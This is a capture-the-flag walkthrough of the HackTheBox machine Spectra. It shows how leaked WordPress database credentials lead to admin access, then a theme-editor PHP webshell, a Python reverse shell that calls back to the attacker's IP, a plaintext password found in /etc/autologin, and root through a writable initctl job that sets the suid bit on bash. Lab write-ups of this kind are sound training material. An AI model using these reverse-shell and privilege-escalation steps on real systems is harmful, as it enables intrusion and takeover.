Spectra is an easy rated machine on HackTheBox created by egre55. For the user part we will exploit a test installation of worpress with directory listing enabled to log into the production wordpress installation.
Once we are in worpress we will edit a php file with the template editor to obtain RCE and a reverse shell. On the machine we spot an unusual passwd file in /etc/autologin
, which contains the password for the user katie. Finally for the root part we will abuse sudo permissions on initctl and a writeable config file.
User
Nmap
As usual we start our enumeration of with a nmap scan against all open ports, followed by a script and version detection scan against the open ones to capture the full attack surface.
All ports
1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p- -T4 10.129.93.40
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-25 09:06 GMT
Nmap scan report for 10.129.93.40
Host is up (0.13s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
Nmap done: 1 IP address (1 host up) scanned in 62.23 second
Script and Version
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ sudo nmap -sC -sV -p 22,80,3306 10.129.93.40
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-25 09:10 GMT
Nmap scan report for 10.129.93.40
Host is up (0.033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
|_ 4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp open http nginx 1.17.4
|_http-server-header: nginx/1.17.4
|_http-title: Site doesn't have a title (text/html).
3306/tcp open mysql MySQL (unauthorized)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.00 seconds
File exposure
There are only 3 ports open and port 80 looks the most promising so we will start our enumeration there. Opening it up in the browser of our choice we see a Software Issue Tracker
and a Test
page linked.
Going over to the Software Issure Tracker
we see a wordpress installation and find a username Administrator
.
On test we recieve an error stating that the connection to the database failed.
The interesting thing is if we donโt follow the link to index.php
, but rather just list the root with /
, we can see that directory listing is enabled and it reveals another worpress installation.
There is also a wp-config.php.save
which we can download using curl
or wget
. The wp-config.php
file usually stores the database credentials for a wordpress installation so it is often a good target.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ curl http://spectra.htb/testing/wp-config.php.save
...[snip]...
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );
/** MySQL database username */
define( 'DB_USER', 'devtest' );
/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
...[snip]...
Worpress template
Using the password for the database and the earlier identified username we are now able to log into wordpress as the administrator user.
What generally works for wordpress once you have access as a user that is allowd to modify themes, is to exchange one of the templates for a php webshell.
For this we nagivate to Appearance
=> Theme Editor
. There we can select any theme we like but have to keep in mind the name of the theme later for the file location of our webshell. In our case we modify the 404.php
template of the TwentySeventeen
Theme for a small php webshell.
After updating the file we naviagte to itโs location and confirm our RCE.
With our PoC working we can now get a reverseshell on the target machine. To do this we first set up our listener on the port we want to recieve the shell on.
1
2
3
4
$nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
We intercept the webshell request with burp send it to repeater and change the request method. Then we send this python reverse shell to the target using our tun0 ip.
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.18",7575));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
We get almost an instant callback from the target, upgrade our shell and fix the terminal size.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.93.40.
Ncat: Connection from 10.129.93.40:37564.
<ginx/html/main/wp-content/themes/twentyseventeen $ python -c 'import pty;pty.spawn("/bin/bash")'
<themes/twentyseventeen $ python -c 'import pty;pty.spawn("/bin/bash")'
<ginx/html/main/wp-content/themes/twentyseventeen $ export TERM=xterm
export TERM=xterm
$ ^Z@spectra /usr/local/share/nginx/html/main/wp-content/themes/twentyseventeen
[1]+ Stopped nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575
$ stty rows 55 cols 236/share/nginx/html/main/wp-content/themes/twentyseventeen
nginx@spectra /usr/local/share/nginx/html/main/wp-content/themes/twentyseventeen $
Looking around there is a strange non default folder with an unusual file in /etc
. Reading it, it seems to be a password and we only have 2 other users root included.
1
2
nginx@spectra /usr/local/share/nginx/html/main/wp-content/themes/twentyseventeen $ cat /etc/autologin/passwd
SummerHereWeCome!!
Trying the password for katie over ssh we are successfull and can grab the user flag.
1
2
3
4
5
6
7
8
9
10
11
$ ssh katie@spectra.htb
The authenticity of host 'spectra.htb (10.129.93.40)' can't be established.
RSA key fingerprint is SHA256:lr0h4CP6ugF2C5Yb0HuPxti8gsG+3UY5/wKjhnjGzLs.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'spectra.htb,10.129.93.40' (RSA) to the list of known hosts.
Password:
katie@spectra ~ $ ls
log user.txt
katie@spectra ~ $ wc -c user.txt
33 user.txt
katie@spectra ~ $
Root
Initctl
Checking sudo permissions for katie we are able to run /sbin/initctl
as root on the machine. This means we are able to start and stop jobs in the /etc/init
directory.
1
2
3
katie@spectra ~ $ sudo -l
User katie may run the following commands on spectra:
(ALL) SETENV: NOPASSWD: /sbin/initctl
Checking the directory we see that most files arenโt writeable by us, but 11 odd looking test files are owned by the developers group which gives us write-access since we are in the same group.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
katie@spectra ~ $ ls -la /etc/init
total 768
drwxr-xr-x 2 root root 12288 Feb 3 16:46 .
drwxr-xr-x 63 root root 4096 Feb 11 23:12 ..
-rw-r--r-- 1 root root 358 Dec 22 2020 activate_date.conf
...[snip]...
-rw-rw---- 1 root developers 478 Jun 29 2020 test.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test1.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test10.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test2.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test3.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test4.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test5.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test6.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test7.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test8.conf
-rw-rw---- 1 root developers 478 Jun 29 2020 test9.conf
...[snip]...
1
2
katie@spectra ~ $ id
uid=20156(katie) gid=20157(katie) groups=20157(katie),20158(developers)
Exploiting the sudo permissions on this with file write is trivial. The only thing we have to do is to add our code we want to run as root at the top of the script block in the job configuration file.
1
katie@spectra ~ $ vi /etc/init/test.conf
We will in this case choose to give bash the suid bit on starting the job.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
description "Test node.js server"
author "katie"
start on filesystem or runlevel [2345]
stop on shutdown
script
chmod +s /bin/bash
export HOME="/srv"
echo $$ > /var/run/nodetest.pid
exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js
end script
pre-start script
echo "[`date`] Node Test Starting" >> /var/log/nodetest.log
end script
pre-stop script
rm /var/run/nodetest.pid
echo "[`date`] Node Test Stopping" >> /var/log/nodetest.log
end script
Now we run the job with sudo permissions.
1
2
katie@spectra ~ $ sudo /sbin/initctl start test
test start/running, process 7364
Looking at bash, it has now the suid bit set and we can easily drop into a rootshell and collect the flag.
1
2
3
4
5
6
katie@spectra ~ $ ls -la /bin/bash
-rwsr-sr-x 1 root root 551984 Dec 22 2020 /bin/bash
katie@spectra ~ $ /bin/bash -p
bash-4.3# wc -c /root/root.txt
33 /root/root.txt
bash-4.3#